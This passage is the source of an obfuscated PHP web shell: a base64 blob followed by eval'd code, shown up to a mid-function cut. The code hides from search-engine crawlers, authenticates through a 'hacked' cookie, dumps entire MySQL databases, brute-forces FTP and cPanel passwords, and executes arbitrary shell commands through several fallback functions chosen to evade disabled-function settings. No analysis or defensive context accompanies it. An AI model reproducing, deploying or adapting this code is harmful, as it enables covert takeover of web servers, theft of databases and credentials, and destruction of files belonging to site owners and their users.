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";
eval("?><?php\r\n@set_magic_quotes_runtime(0);\r\n@ini_set('error_log',NULL);\r\n@ini_set('log_errors',0);\r\nob_start();\r\nerror_reporting(0);\r\n@set_time_limit(0);\r\n@ini_set('max_execution_time',0);\r\n@ini_set('output_buffering',0);\r\n\r\nif(!empty(\$_SERVER['HTTP_USER_AGENT'])) \r\n{\r\n    \$userAgents = array(\"Google\", \"Slurp\", \"MSNBot\", \"ia_archiver\", \"Yandex\", \"Rambler\");\r\n    if(preg_match('/' . implode('|', \$userAgents) . '/i', \$_SERVER['HTTP_USER_AGENT'])) {\r\n        header('HTTP/1.0 404 Not Found');\r\n        exit; }\r\n}\r\n// Dump Database\r\nif(\$_GET[\"action\"] == \"dumpDB\")\r\n{\r\n\t\$self=\$_SERVER[\"PHP_SELF\"];\r\n\tif(isset(\$_COOKIE['dbserver']))\r\n\t{\r\n\t\t\$date = date(\"Y-m-d\");\r\n\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\$dbname = \$_GET['dbname'];\r\n\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\r\n\t\t\$file = \"Dump-\$dbname-\$date\";\r\n\t\t\r\n\t\t\$file=\"Dump-\$dbname-\$date.sql\";\r\n\t\t\$fp = fopen(\$file,\"w\");\r\n\t\t\r\n\t\tfunction write(\$data) \r\n\t\t{\r\n\t\t\tglobal \$fp;\r\n\t\t\t\r\n\t\t\t\tfwrite(\$fp,\$data);\r\n\t\t\t\r\n\t\t}\r\n\t\tmysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\tmysql_select_db(\$dbname);\r\n\t\t\$tables = mysql_query (\"SHOW TABLES\");\r\n\t\twhile (\$i = mysql_fetch_array(\$tables)) \r\n\t\t{\r\n\t\t\t\$i = \$i['Tables_in_'.\$dbname];\r\n\t\t\t\$create = mysql_fetch_array(mysql_query (\"SHOW CREATE TABLE \".\$i));\r\n\t\t\twrite(\$create['Create Table'].\";\");\r\n\t\t\t\$sql = mysql_query (\"SELECT * FROM \".\$i);\r\n\t\t\tif (mysql_num_rows(\$sql)) {\r\n\t\t\t\twhile (\$row = mysql_fetch_row(\$sql)) {\r\n\t\t\t\t\tforeach (\$row as \$j => \$k) {\r\n\t\t\t\t\t\t\$row[\$j] = \"'\".mysql_escape_string(\$k).\"'\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\twrite(\"INSERT INTO \$i VALUES(\".implode(\",\", \$row).\");\");\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\tfclose (\$fp);\r\n\t\t\r\n\t\theader(\"Content-Disposition: attachment; filename=\" . \$file);   \r\n\t\theader(\"Content-Type: application/download\");\r\n\t\theader(\"Content-Length: \" . filesize(\$file));\r\n\t\tflush();\r\n\t\t\r\n\t\t\$fp = fopen(\$file, \"r\");\r\n\t\twhile (!feof(\$fp))\r\n\t\t{\r\n\t\t\techo fread(\$fp, 65536);\r\n\t\t\tflush();\r\n\t\t} \r\n\t\tfclose(\$fp); \r\n\t}\r\n}\r\nfunction shellstyle()\r\n{\r\n\techo \"<style type=\\\"text/css\\\">\r\n<!--\r\n\r\nbody,td,th {\r\n\tcolor: #FF0000;\r\n\tfont-size: 14px;\r\n}\r\ninput.but {\r\n    background-color:#000000;\r\n    color:#FF0000;\r\n    border : 1px solid #1B1B1B;\r\n}\r\na:link {\r\n\tcolor: #00FF00;\r\n\ttext-decoration:none;\r\n\tfont-weight:500;\r\n}\r\na:hover {\r\n\tcolor:#00FF00;\r\n\ttext-decoration:underline;\r\n}\r\nfont.txt\r\n{\r\n\tcolor: #00FF00;\r\n\ttext-decoration:none;\r\n\tfont-size:14px;\r\n}\r\nfont.mainmenu\r\n{\r\n\tcolor:#FF0000;\r\n\ttext-decoration:none;\r\n\tfont-size:14px;\r\n}\r\na:visited {\r\n\tcolor: #006600;\r\n}\r\ninput.box\r\n{\r\n    background-color:#0C0C0C;\r\n    color: lime;\r\n    border : 1px solid #1B1B1B;\r\n\t-moz-border-radius:6px;\r\n\twidth:400;\r\n\tborder-radius:6px;\r\n}\r\ninput.sbox\r\n{\r\n    background-color:#0C0C0C;\r\n    color: lime;\r\n    border : 1px solid #1B1B1B;\r\n\t-moz-border-radius:6px;\r\n\twidth:180;\r\n\tborder-radius:6px;\r\n}\r\nselect.sbox\r\n{\r\n    background-color:#0C0C0C;\r\n    color: lime;\r\n    border : 1px solid #1B1B1B;\r\n\t-moz-border-radius:6px;\r\n\twidth:180;\r\n\tborder-radius:6px;\r\n}\r\nselect.box\r\n{\r\n    background-color:#0C0C0C;\r\n    color: lime;\r\n    border : 1px solid #1B1B1B;\r\n\t-moz-border-radius:6px;\r\n\twidth:400;\r\n\tborder-radius:6px;\r\n}\r\n\r\ntextarea.box\r\n{\r\n    border : 3px solid #111;\r\n    background-color:#161616;\r\n    color : lime;\r\n    margin-top: 10px;\r\n\t-moz-border-radius:7px;\r\n\tborder-radius:7px;\r\n}\r\nbody {\r\n\tbackground-color:#000000;\r\n}\r\n.myphp table\r\n{ \r\n\twidth:100%;\r\n\tpadding:18px 10px;\r\n\tborder : 1px solid #1B1B1B;\r\n} \r\n.myphp td\r\n{ \r\n\tbackground:#111111; \r\n\tcolor:#00ff00; \r\n\tpadding:6px 8px; \r\n\tborder-bottom:1px solid #222222;\r\n\tfont-size:14px; \r\n} \r\n.myphp th, th\r\n{ \r\n\tbackground:#181818; \r\n\t\r\n} \r\n-->\r\n</style>\";\r\n}\r\nif(isset(\$_COOKIE['hacked']) && \$_COOKIE['hacked']==md5(\$pass))\r\n{\r\n\t\$self=\$_SERVER[\"PHP_SELF\"];\r\n\t\$os = \"N/D\";\r\n\t\$bdmessage = null;\r\n\t\$dir = getcwd();\r\n\t\r\n\tif(stristr(php_uname(),\"Windows\"))\r\n\t{\r\n\t\t\$SEPARATOR = '\\\\';\r\n\t\t\$os = \"Windows\";\r\n\t\t\$directorysperator=\"\\\\\";\r\n\t}\r\n\telse if(stristr(php_uname(),\"Linux\"))\r\n\t{\r\n\t\t\$os = \"Linux\";\r\n\t\t\$directorysperator='/';\r\n\t}\r\n\tfunction Trail(\$d,\$directsperator)\r\n\t{\r\n\t\t\$d=explode(\$directsperator,\$d);\r\n\t\tarray_pop(\$d);\r\n\t\tarray_pop(\$d);\r\n\t\t\$str=implode(\$d,\$directsperator);\r\n\t\treturn \$str;\r\n\t}\r\n\t\r\n\tfunction ftp_check(\$host,\$user,\$pass,\$timeout)\r\n\t{\r\n\t \$ch = curl_init();\r\n\t curl_setopt(\$ch, CURLOPT_URL, \"ftp://\$host\");\r\n\t curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, 1);\r\n\t curl_setopt(\$ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\r\n\t curl_setopt(\$ch, CURLOPT_FTPLISTONLY, 1);\r\n\t curl_setopt(\$ch, CURLOPT_USERPWD, \"\$user:\$pass\");\r\n\t curl_setopt (\$ch, CURLOPT_CONNECTTIMEOUT, \$timeout);\r\n\t curl_setopt(\$ch, CURLOPT_FAILONERROR, 1);\r\n\t \$data = curl_exec(\$ch);\r\n\t if ( curl_errno(\$ch) == 28 )\r\n\t {\r\n\t print \"<center><b>\r\n\t Error : Connection Timeout. \r\n\t Please Check The Target Hostname .</b></center>\";exit;\r\n\t }\r\n\t else if ( curl_errno(\$ch) == 0 )\r\n\t {\r\n\t  print \"<center><b>[~]</b><font class=txt>\r\n\t Cracking Success With Username &quot;</font><font color=\\\"#FF0000\\\">\$user</font><font color=\\\"#008000\\\">\\\"\r\n\t and Password \\\"</font><font color=\\\"#FF0000\\\">\$pass</font><font color=\\\"#008000\\\">\\\"</font></b></center><br><br>\";\r\n\t }\r\n\t curl_close(\$ch);\r\n\t}\r\n\t\r\n\tfunction cpanel_check(\$host,\$user,\$pass,\$timeout)\r\n\t{\r\n\t global \$cpanel_port;\r\n\t \$ch = curl_init();\r\n\t curl_setopt(\$ch, CURLOPT_URL, \"http://\$host:\" . \$cpanel_port);\r\n\t curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, 1);\r\n\t curl_setopt(\$ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\r\n\t curl_setopt(\$ch, CURLOPT_USERPWD, \"\$user:\$pass\");\r\n\t curl_setopt (\$ch, CURLOPT_CONNECTTIMEOUT, \$timeout);\r\n\t curl_setopt(\$ch, CURLOPT_FAILONERROR, 1);\r\n\t \$data = curl_exec(\$ch);\r\n\t if ( curl_errno(\$ch) == 28 )\r\n\t { print \"<center><b>Error : Connection Timeout. \r\n\t  Please Check The Target Hostname.</b></center>\";exit;}\r\n\t  else if ( curl_errno(\$ch) == 0 ){\r\n\t  print \"<ecnter><b>[~]</b><font class=txt><b>\r\n\r\n\t Cracking Success With Username &quot;</font><font color=\\\"#FF0000\\\">\$user</font><font color=\\\"#008000\\\">\\\"\r\n\tand Password \\\"</font><font color=\\\"#FF0000\\\">\$pass</font><font color=\\\"#008000\\\">\\\"</font></b></center><br><br>\";\r\n\t }\r\n\t curl_close(\$ch);\r\n\t}\r\n\r\n\t// Database functions\r\n\tfunction listdatabase()\r\n\t{\t\r\n\t\t\$self=\$_SERVER[\"PHP_SELF\"];\r\n\t\t?>\r\n\t\t<br>\r\n\t\t<form>\r\n\t\t<table>\r\n\t\t\t<tr>\r\n\t\t\t\t<td><input type=\"text\" class=\"box\" name=\"dbname\"></td>\r\n\t\t\t\t<td><input type=\"button\" onClick=\"viewtables('createDB',dbname.value)\" value=\"  Create Database  \" class=\"but\"></td>\r\n\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t</form>\r\n\t\t\t<br>\r\n\t\t<?php \r\n\t\t\$mysqlHandle = mysql_connect (\$_COOKIE['dbserver'], \$_COOKIE['dbuser'], \$_COOKIE['dbpass']);\r\n\t\t\$result = mysql_query(\"SHOW DATABASE\"); \r\n\t\techo \"<table cellspacing=1 cellpadding=5 border=1 style=width:60%;>\\n\";\r\n\r\n\t\t\$pDB = mysql_list_dbs( \$mysqlHandle );\r\n\t\t\$num = mysql_num_rows( \$pDB );\r\n\t\tfor( \$i = 0; \$i < \$num; \$i++ ) \r\n\t\t{\r\n\t\t\t\$dbname = mysql_dbname( \$pDB, \$i );\r\n\t\t\tmysql_select_db(\$dbname,\$mysqlHandle);\r\n\t\t\t\$result = mysql_query(\"SHOW TABLES\"); \r\n\t\t\t\$num_of_tables = mysql_num_rows(\$result);\r\n\t\t\techo \"<tr>\\n\";\r\n\t\t\techo \"<td><a href=# onClick=\\\"viewtables('listTables','\$dbname')\\\"><font  size=3>\$dbname</font></a> (\$num_of_tables)</td>\\n\";\r\n\t\t\techo \"<td><a href=# onClick=\\\"viewtables('listTables','\$dbname')\\\">Tables</a></td>\\n\";\r\n\t\t\techo \"<td><a href=# onClick=\\\"viewtables('dropDB','\$dbname')\\\">Drop</a></td>\\n\";\r\n\t\t\techo \"<td><a href='\$self?action=dumpDB&dbname=\$dbname' onClick=\\\"return confirm('Dump Database \\'\$dbname\\'?')\\\">Dump</a></td>\\n\";\r\n\t\t\techo \"</tr>\\n\";\r\n\t\t}\r\n\t\techo \"</table>\\n\";\r\n\t\tmysql_close(\$mysqlHandle);\r\n\t}\r\n\t\r\n\tfunction listtable()\r\n\t{\r\n\t\t\$self=\$_SERVER[\"PHP_SELF\"];\r\n\t\t\$dbserver = \$_COOKIE[\"dbserver\"];\r\n\t\t\$dbuser = \$_COOKIE[\"dbuser\"];\r\n\t\t\$dbpass = \$_COOKIE[\"dbpass\"];\r\n\t\t\$dbname = \$_GET['dbname'];\r\n\t\techo \"<div><font color=white size=3>[ \$dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\\\"viewtables('viewdb')\\\"> <font size=3>Database List</font> </a> &nbsp; <a href=\$self?logoutdb> <font  size=3>[ Log Out ]</font> </a></div>\";\r\n\t\t ?>\r\n\t\t<br><br>\r\n\t\t<form>\r\n\t\t<table>\r\n\r\n\t\t\t<tr>\r\n\t\t\t\t<td><input type=\"text\" class=\"box\" name=\"tablename\"></td>\r\n\t\t\t\t<td><input type=\"button\" onClick=\"viewtables('createtable','<?php echo \$_GET['dbname'];?>')\" value=\"  Create Table  \" name=\"createmydb\" class=\"but\"></td>\r\n\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t\r\n\t\t\t<br>\r\n\t\t\t<form>\r\n\t\t\t<table>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td><textarea cols=\"60\" rows=\"7\" name=\"executemyquery\" class=\"box\">Execute Query..</textarea></td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td><input type=\"button\" onClick=\"viewtables('executequery','<?php echo \$_GET['dbname'];?>','<?php echo \$_GET['tablename']; ?>','','',executemyquery.value)\" value=\"Execute\" class=\"but\"></td>\r\n\t\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t\t</form>\r\n\t\t\t\r\n\t\t<?php \r\n\t\t\r\n\t\t\$mysqlHandle = mysql_connect (\$dbserver, \$dbuser, \$dbpass);\r\n\t\t\r\n\t\tmysql_select_db(\$dbname);\r\n\t\t\$pTable = mysql_list_tables( \$dbname );\r\n\t\r\n\t\tif( \$pTable == 0 ) {\r\n\t\t\t\$msg  = mysql_error();\r\n\t\t\techo \"<h3>Error : \$msg</h3><p>\\n\";\r\n\t\t\treturn;\r\n\t\t}\r\n\t\t\$num = mysql_num_rows( \$pTable );\r\n\t\r\n\t\techo \"<table cellspacing=1 cellpadding=5 border=1 style=width:60%;>\\n\";\r\n\t\r\n\t\tfor( \$i = 0; \$i < \$num; \$i++ ) \r\n\t\t{\r\n\t\t\t\$tablename = mysql_tablename( \$pTable, \$i );\r\n\t\t\t\$result = mysql_query(\"select * from \$tablename\");\r\n\t\t\t\$num_rows = mysql_num_rows(\$result);\r\n\t\t\techo \"<tr>\\n\";\r\n\t\t\techo \"<td>\\n\";\r\n\t\t\techo \"<a href=# onClick=\\\"viewtables('viewdata','\$dbname','\$tablename')\\\"><font  size=3>\$tablename</font></a> (\$num_rows)\\n\";\r\n\t\t\techo \"</td>\\n\";\r\n\t\t\techo \"<td>\\n\";\r\n\t\t\techo \"<a href=# onClick=\\\"viewtables('viewSchema','\$dbname','\$tablename')\\\">Schema</a>\\n\";\r\n\t\t\techo \"</td>\\n\";\r\n\t\t\techo \"<td>\\n\";\r\n\t\t\techo \"<a href=# onClick=\\\"viewtables('viewdata','\$dbname','\$tablename')\\\">Data</a>\\n\";\r\n\t\t\techo \"</td>\\n\";\r\n\t\t\techo \"<td>\\n\";\r\n\t\t\techo \"<a href=# onClick=\\\"viewtables('empty','\$dbname','\$tablename')\\\">Empty</a>\\n\";\r\n\t\t\techo \"</td>\\n\";\r\n\t\t\techo \"<td>\\n\";\r\n\t\t\techo \"<a href=# onClick=\\\"viewtables('dropTable','\$dbname','\$tablename')\\\">Drop</a>\\n\";\r\n\t\t\techo \"</td>\\n\";\r\n\t\t\techo \"</tr>\\n\";\r\n\t\t}\r\n\t\r\n\t\techo \"</table></form>\";\r\n\t\tmysql_close(\$mysqlHandle);\r\n\t\techo \"<div><font color=white size=3>[ \$dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\\\"viewtables('viewdb')\\\"> <font size=3>Database List</font> </a> &nbsp; <a href=\$self?logoutdb> <font  size=3>[ Log Out ]</font> </a></div>\";\r\n\t}\r\n\t\t\r\n\t\r\n\tfunction paramexe(\$n, \$v) \r\n\t{\r\n\t\t\$v = trim(\$v);\r\n\t\tif(\$v) \r\n\t\t{\r\n\t\t\techo '<span><font  size=3>' . \$n . ': </font></span>';\r\n\t\t\tif(strpos(\$v, \"\\n\") === false)\r\n\t\t\t\techo '<font  size=2>' . \$v . '</font><br>';\r\n\t\t\telse\r\n\t\t\t\techo '<pre class=ml1><font class=txt size=3>' . \$v . '</font></pre>';\r\n\t\t}\r\n\t}\r\n\t\r\n\t\r\n\t\r\n\tfunction rrmdir(\$dir)\r\n\t{\r\n\t\tif (is_dir(\$dir)) // ensures that we actually have a directory\r\n\t\t{\r\n\t\t\t\$objects = scandir(\$dir); // gets all files and folders inside\r\n\t\t\tforeach (\$objects as \$object)\r\n\t\t\t{\r\n\t\t\t\tif (\$object != '.' && \$object != '..')\r\n\t\t\t\t{\r\n\t\t\t\t\tif (is_dir(\$dir . '/' . \$object))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t// if we find a directory, do a recursive call\r\n\t\t\t\t\t\trrmdir(\$dir . '/' . \$object);\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t// if we find a file, simply delete it\r\n\t\t\t\t\t\tunlink(\$dir . '/' . \$object);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t// the original directory is now empty, so delete it\r\n\t\t\trmdir(\$dir);\r\n\t\t}\r\n\t} \r\n\t\t\t\t\t\r\n\tfunction which(\$pr)\r\n\t{ \r\n\t\t\$path = execmd(\"which \$pr\"); \r\n\t\tif(!empty(\$path)) \r\n\t\t\treturn trim(\$path); \r\n\t\telse \r\n\t\t\treturn trim(\$pr); \r\n\t}\r\n\t\r\n\tfunction magicboom(\$text)\r\n\t{ \r\n\t\tif (!get_magic_quotes_gpc()) \r\n\t\t\treturn \$text; \r\n\t\treturn stripslashes(\$text); \r\n\t}\r\n\t\r\nfunction execmd(\$cmd,\$d_functions=\"None\")\r\n{\r\n    if(\$d_functions==\"None\") \r\n\t{\r\n\t\t\$ret=passthru(\$cmd); \r\n\t\treturn \$ret;\r\n\t}\r\n    \$funcs=array(\"shell_exec\",\"exec\",\"passthru\",\"system\",\"popen\",\"proc_open\");\r\n    \$d_functions=str_replace(\" \",\"\",\$d_functions);\r\n    \$dis_funcs=explode(\",\",\$d_functions);\r\n    foreach(\$funcs as \$safe)\r\n    {\r\n        if(!in_array(\$safe,\$dis_funcs)) \r\n        {\r\n            if(\$safe==\"exec\")\r\n            {\r\n                \$ret=@exec(\$cmd);\r\n                \$ret=join(\"\\n\",\$ret);\r\n                return \$ret;\r\n            }\r\n            elseif(\$safe==\"system\")\r\n            {\r\n                \$ret=@system(\$cmd);\r\n                return \$ret;\r\n            }\r\n            elseif(\$safe==\"passthru\")\r\n            {\r\n                \$ret=@passthru(\$cmd);\r\n                return \$ret;\r\n            }\r\n            elseif(\$safe==\"shell_exec\")\r\n            {\r\n                \$ret=@shell_exec(\$cmd);\r\n                return \$ret;\r\n            }\r\n            elseif(\$safe==\"popen\")\r\n            {\r\n                \$ret=@popen(\"\$cmd\",'r');\r\n                if(is_resource(\$ret))\r\n                {\r\n                    while(@!feof(\$ret))\r\n                    \$read.=@fgets(\$ret);\r\n                    @pclose(\$ret);\r\n                    return \$read;\r\n                }\r\n                return -1;\r\n            }\r\n            elseif(\$safe=\"proc_open\")\r\n            {\r\n                \$cmdpipe=array(\r\n                0=>array('pipe','r'),\r\n                1=>array('pipe','w')\r\n                );\r\n                \$resource=@proc_open(\$cmd,\$cmdpipe,\$pipes);\r\n                if(@is_resource(\$resource))\r\n                {\r\n                    while(@!feof(\$pipes[1]))\r\n                    \$ret.=@fgets(\$pipes[1]);\r\n                    @fclose(\$pipes[1]);\r\n                    @proc_close(\$resource);\r\n                    return \$ret;\r\n                }\r\n                return -1;\r\n            }\r\n        }\r\n    }\r\n    return -1;\r\n}\r\n\r\n\tfunction getDisabledFunctions()\r\n\t{\r\n\t\tif(!ini_get('disable_functions'))\r\n\t\t{\r\n\t\t\treturn \"None\";\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t\treturn @ini_get('disable_functions');\r\n\t\t}\r\n\t}\r\n\t\r\n\tfunction getFilePermissions(\$file)\r\n\t{\r\n\t\$perms = fileperms(\$file);\r\n\t\r\n\tif ((\$perms & 0xC000) == 0xC000) {\r\n\t\t// Socket\r\n\t\t\$info = 's';\r\n\t} elseif ((\$perms & 0xA000) == 0xA000) {\r\n\t\t// Symbolic Link\r\n\t\t\$info = 'l';\r\n\t} elseif ((\$perms & 0x8000) == 0x8000) {\r\n\t\t// Regular\r\n\t\t\$info = '-';\r\n\t} elseif ((\$perms & 0x6000) == 0x6000) {\r\n\t\t// Block special\r\n\t\t\$info = 'b';\r\n\t} elseif ((\$perms & 0x4000) == 0x4000) {\r\n\t\t// Directory\r\n\t\t\$info = 'd';\r\n\t} elseif ((\$perms & 0x2000) == 0x2000) {\r\n\t\t// Character special\r\n\t\t\$info = 'c';\r\n\t} elseif ((\$perms & 0x1000) == 0x1000) {\r\n\t\t// FIFO pipe\r\n\t\t\$info = 'p';\r\n\t} else {\r\n\t\t// Unknown\r\n\t\t\$info = 'u';\r\n\t}\r\n\r\n\t// Owner\r\n\t\$info .= ((\$perms & 0x0100) ? 'r' : '-');\r\n\t\$info .= ((\$perms & 0x0080) ? 'w' : '-');\r\n\t\$info .= ((\$perms & 0x0040) ?\r\n\t\t\t\t((\$perms & 0x0800) ? 's' : 'x' ) :\r\n\t\t\t\t((\$perms & 0x0800) ? 'S' : '-'));\r\n\t\r\n\t// Group\r\n\t\$info .= ((\$perms & 0x0020) ? 'r' : '-');\r\n\t\$info .= ((\$perms & 0x0010) ? 'w' : '-');\r\n\t\$info .= ((\$perms & 0x0008) ?\r\n\t\t\t\t((\$perms & 0x0400) ? 's' : 'x' ) :\r\n\t\t\t\t((\$perms & 0x0400) ? 'S' : '-'));\r\n\t\r\n\t// World\r\n\t\$info .= ((\$perms & 0x0004) ? 'r' : '-');\r\n\t\$info .= ((\$perms & 0x0002) ? 'w' : '-');\r\n\t\$info .= ((\$perms & 0x0001) ?\r\n\t\t\t\t((\$perms & 0x0200) ? 't' : 'x' ) :\r\n\t\t\t\t((\$perms & 0x0200) ? 'T' : '-'));\r\n\t\r\n\treturn \$info;\r\n}\r\n\tfunction filepermscolor(\$filename)\r\n\t{\r\n\t\tif(!@is_readable(\$filename)) \r\n\t\t\treturn \"<font color=\\\"#FF0000\\\">\".getFilePermissions(\$filename).\"</font>\"; \r\n\t\telse if(!@is_writable(\$filename)) \r\n\t\t\treturn \"<font color=\\\"#FFFFFF\\\">\".getFilePermissions(\$filename).\"</font>\";\r\n\t\telse\r\n\t\t\treturn \"<font color=\\\"#00FF00\\\">\".getFilePermissions(\$filename).\"</font>\";\r\n\t}\r\n\r\n\tfunction yourip()\r\n\t{\r\n\t\techo \$_SERVER[\"REMOTE_ADDR\"];\r\n\t}\r\n\tfunction 